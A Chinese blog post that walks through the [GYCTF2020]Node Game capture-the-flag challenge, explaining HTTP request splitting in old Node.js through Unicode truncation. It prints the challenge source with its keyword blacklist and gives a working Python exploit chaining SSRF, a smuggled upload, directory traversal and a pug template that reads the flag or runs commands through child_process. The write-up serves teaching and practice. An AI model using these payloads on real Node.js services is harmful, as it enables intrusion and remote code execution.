从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

48 篇文章 2 订阅

nodejs HTTP拆分攻击

nodejs 8.12 Node.js API 文档

当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击


原理


Unicode原理

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

字符可由以下Unicode编码构造出Unicode编码对应的字符Unicode编码对应的字符对应的URL编码
回车符 \r\u010dč%C4%8D
换行符 \n\u010aĊ%C4%8A
空格\u0120Ġ%C4%A0
反斜杠 \\u0122Ģ%C4%A2
单引号 ‘\u0127ħ%C4%A7
反引号 `\u0160Š%C5%A0
叹号 !\u0121ġ%C4%A1

nodejs 的 HTTP 拆分攻击利用

由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。

Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

原始请求数据如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000
…………

当我们插入CRLF数据后,HTTP请求数据变成了:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET HTTP/1.1
Host: 47.101.57.72:4000

所以我们构造的部分:

 HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET 

构造HTTP请求

py脚本:

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

WP

1.[GYCTF2020]Node Game

source:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');		// morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";			//URL没有传东西就默认到index
    if( action.includes("/") || action.includes("\\") ){			//action中不能含有/或\\字符
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);		// 渲染pug模板引擎	/template/自己url传的东西+.pug
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {		  
        //admin验证需要有本地IP, nodejs的req.connection.remoteAddress我没有找到伪造的方法,所以这里需要http请求走私
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));		 //JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){			
        //node.js 读取文件 fs.readFile(),算是一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){,然后去做err判断
        //这里为了判断上传文件合法
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name		
            // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
            //可以类比nginx MIME -type和Content-Type的 关系 : 当web服务器收到静态的资源 文件 请求时,依据请求 文件 的后缀名在服务器的 MIME 配置 文件 中找到 对应 的 MIME Type,再根据 MIME Type设置HTTP Response的Content-Type,然后浏览器根据Content-Type的值处理 文件 。
            if(!fs.existsSync(__dirname + file_path)){		//fs.existsSync如果路径存在则返回 true,否则返回 false。
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name		//上传成功,返回文件名和路径
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);		//blacklist过滤
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {			//http.get漏洞利用点
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }
 
                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {		//可以通过字符串拼接绕过。
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

路由功能:

  • /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
  • /source:回显源码
  • /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
  • /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

思路:利用SSRF伪造本地ip进行文件上传, 上传一个pug模板文件到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag

pug模板文件–pug的包含


在文件上传处抓包

对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 ../template 用于目录穿越(注意Content-Length也需要改成变化后的值),然后编写以下利用脚本:

import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。

加密也可以用另一种方法

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret
    
payload = payload_encode(payload)

↓

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)
在这里插入图片描述


ps,post上传包的处理还挺严格的,

Content-Length绝对不能少的,是下面的加上上下两个换行,264+2(哎等等,好像数量不对也没关系)

------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--

至于本地IP的端口,源码上面看是8081,但其实只是检测了127.0.0.1,不写也可以


关于pug

上传的pug,不止有includ文件的方法

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

还有通过拼接 命令执行

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

参考链接:

https://www.anquanke.com/post/id/241429

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值